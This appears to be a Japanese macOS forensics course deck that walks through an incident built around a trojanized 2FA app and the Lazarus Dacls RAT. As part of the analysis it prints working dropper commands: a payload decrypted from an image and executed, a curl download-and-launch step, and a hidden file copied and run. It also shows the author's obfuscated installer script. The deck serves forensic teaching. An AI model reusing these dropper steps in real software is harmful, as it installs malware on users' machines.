TinkaOTP.appの解析 (2/4)% hdiutil attach ~/Desktop/exported_files/TinkaOTP.dmg% cd /Volumes/TinkaOTP/TinkaOTP.app; find . -type f -exec md5sum {} ¥; > ~/Desktop/hash.txt; cd ~/Desktop/% hdiutil eject /Volumes/TinkaOTP% cd ~/Desktop/exported_files/TinkaOTP.app; md5sum -c ~/Desktop/hash.txt./Contents/_CodeSignature/CodeResources: OK./Contents/Frameworks/libswiftCore.dylib: OK./Contents/Frameworks/libswiftCoreFoundation.dylib: OK./Contents/Frameworks/libswiftCoreGraphics.dylib: OK./Contents/Frameworks/libswiftDarwin.dylib: OK./Contents/Frameworks/libswiftDispatch.dylib: OK./Contents/Frameworks/libswiftFoundation.dylib: OK./Contents/Frameworks/libswiftIOKit.dylib: OK./Contents/Frameworks/libswiftObjectiveC.dylib: OK./Contents/Info.plist: OK./Contents/MacOS/TinkaOTP: OK./Contents/PkgInfo: OK./Contents/Resources/AppIcon.icns: OK./Contents/Resources/Assets.car: OK./Contents/Resources/Base.lproj/MainMenu.nib: OK./Contents/Resources/Base.lproj/SubMenu.nib: OK./Contents/Resources/en.lproj/InfoPlist.strings: OK./Contents/Resources/en.lproj/Localizable.strings: OK./Contents/Resources/en.lproj/MainMenu.strings: OK./Contents/Resources/Info.plist: OK

161

TinkaOTP.appの解析 (3/4)

Hands-On◦ 文字列検索▪ TinkaOTPが.minaと関連性があることを確認する▸TinkaOTP.app/Contents/MacOS/TinkaOTP◦ 動的解析

▪ TinkaOTPが.minaをどのように生成するか確認する▪ 準備手順は次ページ▪ macOS VMがない人はjsonフォルダ内のtinkaotp_procmon.json, tinkaotp_filemon.jsonを調査する◦ 使用するツールおよび手順は、.minaの場合と同じ
162

TinkaOTP.appの解析 (4/4)

Hands-On(Only macOS)◦ 動的解析
▪ TinkaOTP.dmgをVMにコピーして、ディスクイメージをマウント▪ dmg内のTinkaOTP.appを適当な場所にコピー▪ ProcessMonitorとFileMonitorを実行した後に、TinkaOTP.appを実行する▸FinderからTinkaOTP.appをダブルクリック▸またはopenコマンドで実行% open ./exported_files/TinkaOTP.app

163

Solutions to
Exercise 4164TinkaOTP.appの解析 (1/4)◦ 文字列検索% strings -a ./exported_files/TinkaOTP.app/Contents/MacOS/TinkaOTP | grep -F .mina~/Library/.mina > /dev/null 2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null
2>&1▪ ~/Library/.minaの実行ビットを設定して、実行する▪ このコマンドの前の処理は分からないが、おそらくTinkaOTPが.minaをダウンロードまたはドロップしている165TinkaOTP.appの解析 (2/4)◦ 動的解析 (1)▪ プロセスの実行状況を確認する% jq '. | select(.process.name == "TinkaOTP")' ./json/tinkaotp_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-15 06:08:34 +0000","process": {"pid": 1132,"name": "TinkaOTP","path": "/Users/macforensics/Desktop/TinkaOTP.app/Contents/MacOS/TinkaOTP",(snip)}
fork()しているので、こちらも調べる{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-15 06:08:34 +0000","process": {"pid": 1133,"name": "TinkaOTP","path": "/Users/macforensics/Desktop/TinkaOTP.app/Contents/MacOS/TinkaOTP",(snip)}

166

TinkaOTP.appの解析 (3/4)◦ 動的解析 (2)▪ PID = 1132
% jq '. | select(.process.pid == 1132)' ./json/tinkaotp_procmon.json 2>/dev/null{"event": "ES_EVENT_TYPE_NOTIFY_FORK","timestamp": "2021-12-15 06:08:33 +0000","process": {"pid": 1132,"name": "launchd","path": "/sbin/launchd","uid": 0,(snip)▪ 特に疑わしい動作は記録されていない

167

TinkaOTP.appの解析 (4/4)◦ 動的解析 (3)▪ PID = 1133
% jq '. | select(.process.pid == 1133)' ./json/tinkaotp_procmon.json 2>/dev/null(snip){"event": "ES_EVENT_TYPE_NOTIFY_EXEC","timestamp": "2021-12-15 06:08:34 +0000","process": {"pid": 1133,"name": "bash",TinkaOTP.app内のファイルをコピーして、.minaとして実行している"path": "/bin/bash",.minaをドロップしていることが確定した"uid": 501,
"architecture": "Intel","arguments": ["/bin/bash","-c","cp /Users/macforensics/Desktop/TinkaOTP.app/Contents/Resources/Base.lproj/SubMenu.nib ~/Library/.mina > /dev/null
2>&1 && chmod +x ~/Library/.mina > /dev/null 2>&1 && ~/Library/.mina > /dev/null 2>&1"],"ppid": 1132,(snip)
168

ここまでのタイムライン (1/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg 作成（http://www.2fa.test/download/Installer.dmg からSafariでダウンロード）

2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg マウント（検証開始）

2021-11-25 04:41:34.416693

Installer マウント (apfs)

2021-11-25 04:41:37.924145

TinkaOTP Installer 実行（Finderから）

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 実行

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms 実行

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg 作成

169ここまでのタイムライン (2/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:44.076904

TinkaOTP マウント (hfs)2021-11-25 04:41:44.097888/Applications/TinkaOTP.app 作成（TinkaOTP.dmg内のファイルと同じ）

2021-11-25 04:41:44.355439

TinkaOTP アンマウント (hfs)2021-11-25 04:41:44.446290

TinkaOTP 実行（openコマンドから）

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina 作成（TinkaOTPがドロップ）

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina 実行（TinkaOTPが実行）

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist 作成（.minaが作成しているはず…）

2021-11-25 04:41:59.291558

Installer アンマウント (apfs)

170ここまでのタイムライン振り返り◦ TinkaOTP.appの解析結果▪ TinkaOTP.appが.minaをドロップして実行する▪ TinkaOTP.dmgの作成および実行方法は不明▪ TinkaOTP.dmgが作成される直前にマウントされた
Installer.dmgを解析する必要がある

171

9

Exercise 5: Installer.dmgの解析

172

Installer.dmgの解析 (1/2)◦ タイムラインから見て、TinkaOTP
Installer.appはInstaller.dmg内にあると考えられる▪ /Volumes以下のファイルはディスクイメージ内にないので確認はできない▪ 同じものであると仮定して解析を進める

173

Installer.dmgの解析 (2/2)

Hands-On◦ 文字列検索、動的解析▪ TinkaOTP.dmgの生成方法と実行方法を確認する▸Installer.dmgをマウントして解析を行う● /Volumes/TinkaOTP Installer/TinkaOTP
Installer.app/Contents/MacOS/TinkaOTP Installer▸macOS VMがない人は以下のフォルダ内のファイルを解析する● exported_files/TinkaOTP
Installer.app/Contents/MacOS/TinkaOTP Installer▸ヒント：これまでと同じ方法で分からない場合はファイルタイプを確認してみる

174

Solutions to
Exercise 5
175

Installer.dmgの解析 (1/10)◦ 文字列検索▪ TinkaOTPの文字列がない% hdiutil attach ./exported_files/Installer.dmg% strings -a /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer | grep TinkaOTP▪ ファイルタイプを確認すると、Mach-Oバイナリではなくシェ
ルスクリプト% file /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer: Bourne-Again shell script text
executable, ASCII text, with very long lines▪ 解析のため、デスクトップにコピーして、念のため実行ビットを落とす% cp /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/MacOS/TinkaOTP¥ Installer ~/Desktop/exported_files/% chmod -x ~/Desktop/exported_files/TinkaOTP¥ Installer

176

Installer.dmgの解析 (2/10)◦ 動的および静的解析 (1)▪ テキストエディタで確認すると難読化されている

177

Installer.dmgの解析 (3/10)◦ 動的および静的解析 (2)▪ セミコロンを改行で置換

178

Installer.dmgの解析 (4/10)◦ 動的および静的解析 (3)

難読化されているスクリプトの場合、最後に eval で復号されたスクリプトを実行するパターンが多いので、最後の行を echo でダンプしてみる

179

Installer.dmgの解析 (5/10)◦ 動的および静的解析 (4)▪ 修正したスクリプトをVM上で実行して、ダンプする内容を確認する% chmod +x ~/Desktop/exported_files/TinkaOTP¥ Installer_mod
AppleScript% ~/Desktop/exported_files/TinkaOTP¥ Installer_mod
eval #!/bin/bashosascript -e 'set popup to display dialog "Thanks for installing our product!!" with icon file"Volumes:Installer:TinkaOTP Installer.app:Contents:Resources:TinkaOTP.icns" with title "TinkaOTP Installer"
buttons {"OK"}'
TEMP_NAME="$(mktemp -t Installer)"
tail -c -8448 /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes256-cbc -salt -md md5 -d -A -base64 -out "${TEMP_NAME}" -pass 'pass:UdIm~Kdl$bOd[&E=' && chmod +x"${TEMP_NAME}" && "${TEMP_NAME}" > /dev/null 2>&1 && rm -rf "${TEMP_NAME}"

シェルスクリプト
180

Installer.dmgの解析 (6/10)◦ 動的および静的解析 (5)▪ AppleScriptを実行すると以下のダイアログが表示される

181

Installer.dmgの解析 (7/10)◦ 動的および静的解析 (6)▪ シェルスクリプト部分の概要▸.TinkaOTP.pngの後ろから8448バイト抜き出して、AESで暗号化されたデータをopensslで復号する▸復号したデータはテンポラリフォルダにランダムな名前で出力して、実行後に削除する▸macOSのテンポラリフォルダは/tmpではない% mktemp -t Installer/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.cgnxY9Ss● プログラム実行の痕跡に残っていたテンポラリフォルダのプログラム
は、これを指している
182

Installer.dmgの解析 (8/10)◦ 動的および静的解析 (7)▪ 復号されたデータは難読化されたスクリプト183

Installer.dmgの解析 (9/10)◦ 動的および静的解析 (8)▪ 1段目と同じ要領で難読化を解く% ~/Desktop/exported_files/deobfuscated_script_mod.sh
eval #!/bin/bash
curl -L http://www.2fa.test/download/TinkaOTP.dmg -o ~/Downloads/TinkaOTP.dmg
hdiutil attach ~/Downloads/TinkaOTP.dmg
cp -r /Volumes/TinkaOTP/TinkaOTP.app /Applications/hdiutil eject /Volumes/TinkaOTP
mkdir -p ~/Library/LaunchAgents/
open /Applications/TinkaOTP.app

184

Installer.dmgの解析 (10/10)◦ 2段目の難読化スクリプトの内容から、

TinkaOTP.dmgはTinkaOTP Installer.appによって、curlを使ってダウンロードされたことが分かる◦ curlが使われたため、アーティファクトにダウンロードの記録が残らなかった◦ com.apple.quarantine拡張属性も設定されない
ため、Gatekeeperによるチェックが行われない◦ 以上より、Installer.dmgのダウンロードから.minaの実行までのアクティビティがつながった
185

未解決の点 (1/3)◦ _minaを動的解析した際に、パーシステンスファ
イルの作成を確認できなかった◦ 関連しそうなアクティビティとして、2段目の難読化スクリプトで「~/Library/LaunchAgents」フ
ォルダを作ってから、TinkaOTP.appを実行している% ~/Desktop/exported_files/deobfuscated_script_mod.sh
eval #!/bin/bash
curl -L http://www.2fa.test/download/TinkaOTP.dmg -o ~/Downloads/TinkaOTP.dmg
hdiutil attach ~/Downloads/TinkaOTP.dmg
cp -r /Volumes/TinkaOTP/TinkaOTP.app /Applications/hdiutil eject /Volumes/TinkaOTP
mkdir -p ~/Library/LaunchAgents/「com.aex-loop.agent.plist」が作られるフォルダ
open /Applications/TinkaOTP.app

186未解決の点 (2/3)◦ _minaの逆アセンブル

一般ユーザーのパーシステンスファイル~/Library/LaunchAgents/com.aex-loop.agent.plist

rootユーザーのパーシステンスファイル

一般ユーザーの場合、デフォルトで~/Library/LaunchAgents/ フォルダが存在しないため、fopen()は失敗する
187

未解決の点 (3/3)◦ 実際のマルウェア感染の流れでは、シェルス
クリプトで、「~/Library/LaunchAgents/」
を事前に作成することで、パーシステンスファ
イル作成のバグを回避している◦ _minaの動的解析の時も同様にすれば、パーシステンスファイルの作成も確認できる
188ここまでのタイムライン (1/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg 作成（http://www.2fa.test/download/Installer.dmg からSafariでダウンロード）

2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg マウント（検証開始）

2021-11-25 04:41:34.416693

Installer マウント (apfs)

2021-11-25 04:41:37.924145

TinkaOTP Installer 実行（Finderから）

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 実行

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms 実行（TinkaOTP Installerがドロップおよび実行。TinkaOTPの実行まで行う）

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg 作成

189ここまでのタイムライン (2/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:44.076904

TinkaOTP マウント (hfs)2021-11-25 04:41:44.097888/Applications/TinkaOTP.app 作成（TinkaOTP.dmg内のファイルと同じ）

2021-11-25 04:41:44.355439

TinkaOTP アンマウント (hfs)2021-11-25 04:41:44.446290

TinkaOTP 実行（openコマンドから）

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina 作成（TinkaOTPがドロップ）

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina 実行（TinkaOTPが実行）

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist 作成（.minaが作成）

2021-11-25 04:41:59.291558

Installer アンマウント (apfs)

190ここまでのタイムライン振り返り◦ Installer.dmgの解析結果▪ TinkaOTP Installer.appが実行されると、難読化されたシェルスクリプトを以下のファイルとしてドロップする▸/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms▪ ドロップされたシェルスクリプトの処理内容▸TinkaOTP.dmgのダウンロードおよびインストール、実行が行
われる▸.minaがパーシステンスを設定できないバグ対策として、~/Library/LaunchAgents/フォルダの作成

191

10

Exercise 6:
TinkaOTP Installer.appが実行された理由

192

TinkaOTP Installer.app実行に関わる調査の目的◦ ここまでの調査で、Installer.dmgをSafariでダウンロードした後のアクティビティは解析できた◦ しかし、Installer.dmgをダウンロードおよび実行
した理由は、まだ分からない◦ このような場合、ユーザー自身のアクティビティに、理由を知る手掛かりがある可能性がある▪ Webのアクセス履歴▪ Webの検索履歴▪ メール など

193

10.1

TinkaOTP Installer.app実行に関わるアーティファクト

194

Webアクセス(Safari)のアーティファクト (1/2)◦ History▪ /Users/<username>/Library/Safari/History.db▪ デフォルトで1年で消える◦ Downloads▪ /Users/<username>/Library/Safari/Downloads.plist▪ デフォルトで1日で消える◦ Last Session▪ Safari 14以前▸/Users/<username>/Library/Safari/LastSession.plist▪ Safari 15以降▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Lib
rary/Safari/SafariTabs.db

195

Webアクセス(Safari)のアーティファクト (2/2)◦ Bookmarks▪ /Users/<username>/Library/Safari/Bookmarks.plist◦ Extensions▪ Safari 13以前▸/Users/<username>/Library/Safari/Extensions/Extensions.plist▪ Safari 14以降▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/App
Extensions/Extensions.plist▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Safari/Web
Extensions/Extensions.plist◦ Preferences▪ Safari 12以前▸/Users/<username>/Library/Preferences/com.apple.Safari.plist▪ Safari 13以降▸/Users/<username>/Library/Containers/com.apple.Safari/Data/Library/Preferences/com.apple.Safari.plist

196

メール(Apple Mail)のアーティファクト

◦ SpotlightはデフォルトでApple Mailもインデックス化の対象に含んでいる◦ ここでは、Apple Mail関連のファイルを直接解析するのではなく、Spotlightデータベース
を調査対象とする

197

10.2

Hands-on:TinkaOTP Installer.appが実行された理由の調査

198

TinkaOTP Installer.appが実行された理由の調査◦ ユーザーがFinderからTinkaOTP Installerを実行した理由をWebアクセス履歴やメールから推測する◦ 調査対象▪ mac_apt.db▸Safari▸Spotlight-macforensics-store_com.apple.mail▸Spotlight-macforensics-.store-DIFF_com.apple.mail199

mac_apt.db : Safari (1/3)

Hands-On◦ SafariによるWebアクセスの履歴▪ Webページのタイトル、URL、アクセス日時◦ フィルタリング条件 (1)▪ Type = HISTORY▪ Name_or_Title : 検索した単語やWebページのタイトル▪ Dateをソートすることでページ遷移の順に表示するこ
とができる
200

mac_apt.db : Safari (2/3)

Hands-On◦ Safariのアドレスバーから検索を行った履歴▪ 検索文字列、検索を行った日時◦ フィルタリング条件 (2)▪ Other_Info = RECENT_SEARCH▪ Name_or_Title : 検索した単語▪ Date : 検索を行ったタイムスタンプ

201

mac_apt.db : Safari (3/3)

Hands-On◦ Safariでダウンロードしたファイルのリスト▪ ファイルのダウンロードURL、保存先のファイルパス
▪ タイムスタンプはない◦ フィルタリング条件 (3)▪ Type = DOWNLOAD▪ URL = 攻撃者に関連するドメイン名▪ URL : ダウンロード元URL▪ Other_Info : 保存先のファイルパス
▪ ダウンロード日時は記録されない◦ Webページを参照してファイルをダウンロードした場合は、Type
がHISTORYとDOWNLOADの両方で記録されるはず▪ Type = DOWNLOADだけが記録されている場合は…？

202

Hands-On

mac_apt.db : Spotlight-macforensics-*_com.apple.mail◦ フィルタリング条件▪ kMDItemAuthorEmailAddresses : 送信者のメー
ルアドレス▪ com_apple_mail_dateReceived : メール受信日時▪ kMDItemSubject : メール件名▪ _kMDItemSnippet : メール本文（最大300バイト）▪ 攻撃者が使用したドメイン名等でフィルタリングする
203

Solutions to
Exercise 6
204

TinkaOTP Installer.appが実行された理由 (1/5)◦ mac_apt.db : Safari▪ アクセス履歴と検索履歴を確認すると、以下のようなツールについて調べていたことが分かる▸ソフトウェア開発ツール▸テキストエディタ▸brew▸2要素認証ツール

205

TinkaOTP Installer.appが実行された理由 (2/5)
ソフトウェア開発ツールを検索

brewを検索

テキストエディタを検索

2要素認証ツールを検索

206

TinkaOTP Installer.appが実行された理由 (3/5)

Type = HISTORYと同じ検索の単語207

TinkaOTP Installer.appが実行された理由 (4/5)◦ URLを2fa.testでフィルタリングすると、ダウンロード履歴だけが表示される◦ ダウンロード履歴のみが記録されているため、メールやメッセージ内のリンクをクリックしてダウンロードした可能性がある
208

TinkaOTP Installer.appが実行された理由 (5/5)◦ 以下のSQLクエリで、本文中に「2fa.test」を含むメールのエント
リーを表示できる

SELECT kMDItemPrimaryRecipientEmailAddresses, kMDItemAuthors, kMDItemAuthorEmailAddresses,
com_apple_mail_dateReceived, com_apple_mail_dateLastViewed, kMDItemSubject, _kMDItemSnippet FROM "Spotlightmacforensics-.store-DIFF_com.apple.mail" WHERE _kMDItemSnippet LIKE "%2fa.test%";◦ ハンズオンのため、意図的にフィッシングメールの本文を300バイ

トに収まるようにした◦ 実際のインシデントでは別途メールフォレンジックが必要になると
思われる
209

ここまでのタイムライン (1/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:28:04

2要素認証ツールを検索していたところで、sales@2fa.test からフィッシングメールを受信

2021-11-25 04:41:22.660911/Users/macforensics/Downloads/Installer.dmg 作成（メール内のリンクをクリックして、http://www.2fa.test/download/Installer.dmg からSafariでダウンロード）

2021-11-25 04:41:27.593697/Users/macforensics/Downloads/Installer.dmg マウント（検証開始）

2021-11-25 04:41:34.416693

Installer マウント (apfs)

2021-11-25 04:41:37.924145

TinkaOTP Installer 実行（Finderから）

2021-11-25 04:41:38.114360/Volumes/Installer/TinkaOTP Installer.app/Contents/MacOS/TinkaOTP Installer 実行

2021-11-25 04:41:40.842618/var/folders/yb/qc22ltgs12z203pjg52r40m40000gn/T/Installer.jv3vIUms 実行（TinkaOTP Installerがドロップおよび実行。TinkaOTPの実行まで行う）

2021-11-25 04:41:40.892716/Users/macforensics/Downloads/TinkaOTP.dmg 作成
210ここまでのタイムライン (2/2)
タイムスタンプ(UTC)

アクティビティ

2021-11-25 04:41:44.076904

TinkaOTP マウント (hfs)2021-11-25 04:41:44.097888/Applications/TinkaOTP.app 作成（TinkaOTP.dmg内のファイルと同じ）

2021-11-25 04:41:44.355439

TinkaOTP アンマウント (hfs)2021-11-25 04:41:44.446290

TinkaOTP 実行（openコマンドから）

2021-11-25 04:41:45.360051/User/macforensics/Library/.mina 作成（TinkaOTPがドロップ）

2021-11-25 04:41:45.398062/Users/macforensics/Library/.mina 実行（TinkaOTPが実行）

2021-11-25 04:41:45.406457/Users/macforensics/Library/LaunchAgents/com.aex-loop.agent.plist 作成（.minaが作成）

2021-11-25 04:41:59.291558

Installer アンマウント (apfs)

211ここまでのタイムライン振り返り◦ 以上で、今回のハンズオンに用意したシナリ
オを網羅したフォレンジックタイムラインを完成させることができた▪ TinkaOTP Installerを実行した本当の理由について
は、ユーザーにインタビューして確認する必要がある

212

11

ハンズオン環境構築周りの話

213

TinkaOTP Installer.appが実行できた理由 (1/3)◦ Safariでダウンロードしたファイルには、

com.apple.quarantine拡張属性が付与される◦ Gatekeeper/Notarizationによって未署名のアプリケーションは実行できない◦ 実際には実行できないはずのアプリケーションが実行された◦ Gatekeeperなどのセキュリティフレームワークがバイパスされた可能性がある
214

TinkaOTP Installer.appが実行できた理由 (2/3)◦ 使用した脆弱性：CVE-2021-30657▪ macOS Gatekeeper Bypass (2021 Edition)▸https://cedowens.medium.com/macos-gatekeeperbypass-2021-edition-5256a2955508▪ All Your Macs Are Belong To Us▸https://objective-see.com/blog/blog_0x64.html

215

TinkaOTP Installer.appが実行できた理由 (3/3)◦ macOS 12.0.1で実行した場合

216

難読化シェルスクリプト◦ TinkaOTP Installer.appで使った難読化シェルスクリプト▪ ZShlayerで使われた難読化を自分で再実装した% cat installer.sh#!/bin/bashosascript -e 'set popup to display dialog "Thanks for installing our product!!" with icon file "Volumes:Installer:TinkaOTP
Installer.app:Contents:Resources:TinkaOTP.icns" with title "TinkaOTP Installer" buttons {"OK"}'
TEMP_NAME="$(mktemp -t Installer)"
tail -c -8448 /Volumes/Installer/TinkaOTP¥ Installer.app/Contents/Resources/.TinkaOTP.png | openssl enc -aes-256-cbc -salt -md md5 -d -A -base64 -out"${TEMP_NAME}" -pass 'pass:UdIm~Kdl$bOd[&E=' && chmod +x "${TEMP_NAME}" && "${TEMP_NAME}" > /dev/null 2>&1 && rm -rf "${TEMP_NAME}"% python3 ~/Documents/GitHub/z4so/z4so.py -i installer.sh -c#!/bin/bash
zsh << 'ToKzwe9'
kkxLxsCrli='0006';L3LKqw3ggwI5='00000049¥U000';YFk0ZsBFz='00006f¥U0';jS2OE='045¥U4d¥';GE7j7rrEIE='0006f¥U06c¥U75¥U';VBz='00072¥U20¥U000';uAhmlU='74¥U000
006f¥U0002';aF9uK2ISlx='073¥U2f¥U0000052';SMQbGKd='U00000';Sbt07='0¥U00000065¥U6';jVbrg='22¥U00000024';gWw9n='000';AUB1Zlq1m3ny='e¥U000004';JN3qa='U0000
005f¥U0';fGO='0002';g0LJ2LVH='3¥U0';ehWv7YCqpLAK='U00070¥U00006c';Eja9='2¥U4f¥U4b¥U22¥U';MwlDYgiuueo='03a¥U00054¥U00';IIDiTjnk='0045¥U0000004d¥';VFc8Dgyef='¥U00026¥U0026¥U20';vo90FD='45¥U007d';HeTBegXt='073¥U000006c¥U2';pvv425='¥U0';an4Ua36S5='3¥U';LAnofSdl4qL='0000061¥U000004f';HViG16vctYr1='43¥U6';tD7
2TRUa3erc='¥U000063¥U068¥';FXK6XKRXH5f='070¥U00002f¥U0';ge6fJvda='20¥U69¥U000063¥';e04PDo='¥U0';Jgu='61¥U073¥U000073¥U';Rj0d0D='¥U00000072¥U00';MVDg0nBg
DHRX='00000';tTj='U22¥U00054¥U';roQA0J3de='65';vFCu='002e¥U0061¥U7';HmcT0sQUd='3e¥U20¥U2f¥';tkW3VvO3='0¥U5f¥U000000';sZP='063¥U00000065¥U0';UOfgQRPHC='0
00068¥U00';B1Sn='000006b¥U0';pr8If='000004e¥U0';ZOCG5Pe6Vy7K='00069¥U00074¥U6c';MS7='0038¥U20¥U02f¥U00';iHkhacZf5t5='0¥U6d¥U00';qcA3qv210wJM='¥U23¥U0000(snip)

217

TinkaOTP.app◦ TinkaOTP.appと.minaは本物のマルウェアをそのまま拝借した▪ Lazarus’ MacOS Dacls RAT Shows Multi-Platform
Ability▸https://www.trendmicro.com/en_us/research/20/e/newmacos-dacls-rat-backdoor-show-lazarus-multiplatform-attack-capability.html▪ New Mac variant of Lazarus Dacls RAT distributed
via Trojanized 2FA app▸https://blog.malwarebytes.com/threat-

analysis/2020/05/new-mac-variant-of-lazarus-dacls-ratdistributed-via-trojanized-2fa-app/
218

12

まとめ

219

まとめ

◦ macOSフォレンジックの基礎（基本的な流
れ、アーティファクトと解析ツールなど）を共有した◦ mac_aptの解析結果を用いて、フォレンジッ
クタイムラインを作成する方法を共有した▪ mac_aptが生成する3つのDBの役割と解析結果ごとのフィルタリング方法▪ 疑わしいプログラムの簡単な解析の仕方
220

Thank you for listening!

Any questions?
221

A1

Appendix 1:macOSフォレンジックアーティファクト

222

macOSのフォレンジックに使用するアーティファクト

◦ 代表的なアーティファクトのみを解説する◦ macOSのアーティファクトは変化しやすい▪ OSのバージョンアップにともなって、ファイルパスやファイ
ル名が変更される▪ ログに記録されるメッセージが変わる▪ ログに記録されなくなる◦ macOSフォレンジックツールは継続的なメンテナンスが必須223

ファイルシステム – HFS+

◦ Classic Mac OSから使用されているが、macOS 10.13以降はOSがインストー
ルされるボリュームはAPFSであるため、今後は解析対象となる機会は多くない◦ メタデータ▪ Volume Header▸その他のメタデータへのオフセットを記録▪ Alternate Volume Header▸Volume Headerのバックアップ▪ Allocation File
▸使用しているブロックのビットマップ▪ Extents Overflow File
▸各メタデータの容量を拡張する際の管理（バッドセクタもここで管理される）▪ Catalog File
▸ファイルやフォルダのメタデータを保存▪ Attributes File
▸ファイルやフォルダのExtended Attributes◦ ジャーナリング（Mac OS X 10.2.2以降）▪ ルートディレクトリ直下に「.journal」が作られる（NTFSの$UsnJrnl:$Jに相当する）
224

ファイルシステム – Apple File System (APFS)◦ macOS 10.13で導入された新しいファイルシステム▪ ファイルシステムのスナップショットや暗号化などに対応◦ ディスク上の特定のオフセットに記録されているメタデータの構造体の情報を辿ることで管理が行われる◦ 例えば、ファイルのオフセットを得るには以下のような構造体を順番に参照する▪ Container Superblock▪ Checkpoint area
▪ Container object map (Object map)
▪ Object map B-tree▪ Volume Superblock▪ Object map▪ Object map B-Tree▪ Filesystem B-Tree (Root node)▪ Filesytem B-Tree (Leaf node)▪
j_file_extent_val_t : ディスク上のオフセット

225

ファイルシステムメタデータ (1/4)◦ .fseventsd▪ Mac OS X 10.5以降▪ HFS+, APFS共に使用可能▪ NTFSの$UsnJrnl:$Jと似た情報が記録される▪ ファイル単位でレコードが記録されるため、ファイル作成や変更、削除など複数のイベントが1つにレコードに記録される▪ タイムスタンプは記録されないため、アーティファクトファイルの更新日
時をおおよそのタイムスタンプとして扱う▪ 各パーティションのルートディレクトリ直下の「.fseventsd」フォルダ以下に記録される▸.fseventsdディレクトリ直下に「no_log」というファイルを作ると、そのボリューム
では記録されなくなる▪ 外部メディアにも作成される
226

ファイルシステムメタデータ (2/4)◦ .DS_Store▪ Mac OS X 10.4以降▪ HFS+, APFS共に使用可能▪ NTFSの$I30に似た情報が記録される▪ Finderでフォルダを開いた際に作成され、ファイルの表示方法をなどを保存する▪ ゴミ箱(.Trash)内の.DS_Storeには削除されたファイルのオリジナルのファイル名とフォルダパスが含まれる
227

ファイルシステムメタデータ (3/4)◦ Extended Attributes（拡張属性）(1)▪ ファイルの補足的な情報を保存する▪ HFS+, APFS共に使用可能▪ NTFSのAlternate Data Stream (ADS)に相当する▪ Webブラウザ等でファイルをダウンロードした際に付与される▸kMDItemWhereFroms : ダウンロード元URL▸kMDItemDownloadedDate : ファイルのダウンロード日時▪ macOSのセキュリティフレームワークが参照して、ダイアログの表示
やファイルスキャンなどを行う▸com.apple.quarantine▪ exFATなどExtended Attributesを保存できないファイルシステムにファイルをコピーすると、「._<filename>」という名前の隠しファイルに情報が保存される（AppleDoubleフォーマット）
228

ファイルシステムメタデータ (4/4)▪ Extended Attributes (2)% xattr -l ~/Downloads/Hopper-5.2.0-demo.dmg
com.apple.metadata:kMDItemWhereFroms:
00000000 62 70 6C 69 73 74 30 30 A2 01 02 5F 10 3B 68 74 |bplist00..._.;ht|00000010 74 70 73 3A 2F 2F 64 32 61 70 36 79 70 6C 31 78 |tps://d2ap6ypl1x|
00000020 62 65 34 6B 2E 63 6C 6F 75 64 66 72 6F 6E 74 2E |be4k.cloudfront.|
00000030 6E 65 74 2F 48 6F 70 70 65 72 2D 35 2E 32 2E 30 |net/Hopper-5.2.0|00000040 2D 64 65 6D 6F 2E 64 6D 67 5F 10 28 68 74 74 70 |-demo.dmg_.(http|00000050 73 3A 2F 2F 77 77 77 2E 68 6F 70 70 65 72 61 70 |s://www.hopperap|
00000060 70 2E 63 6F 6D 2F 64 6F 77 6E 6C 6F 61 64 2E 68 |p.com/download.h|00000070 74 6D 6C 3F 08 0B 49 00 00 00 00 00 00 01 01 00 |tml?..I.........|
00000080 00 00 00 00 00 00 03 00 00 00 00 00 00 00 00 00 |................|
00000090 00 00 00 00 00 00 74|......t|
00000097
com.apple.quarantine: 0081;61bfcf9b;Firefox;267B7D7C-D5A0-4F13-B87F-B2D2DC81BE89
229

ユーザーアカウント (1/6)◦ Open Directory▪ macOSで使用されるディレクトリサービスおよびネットワーク認証システム▪ ユーザーアカウントやグループ、ホストの設定といった管理情報へのアクセスや管理を行う▪ プラグインを通して、バックエンドとなるローカルファイルやLDAP、Active
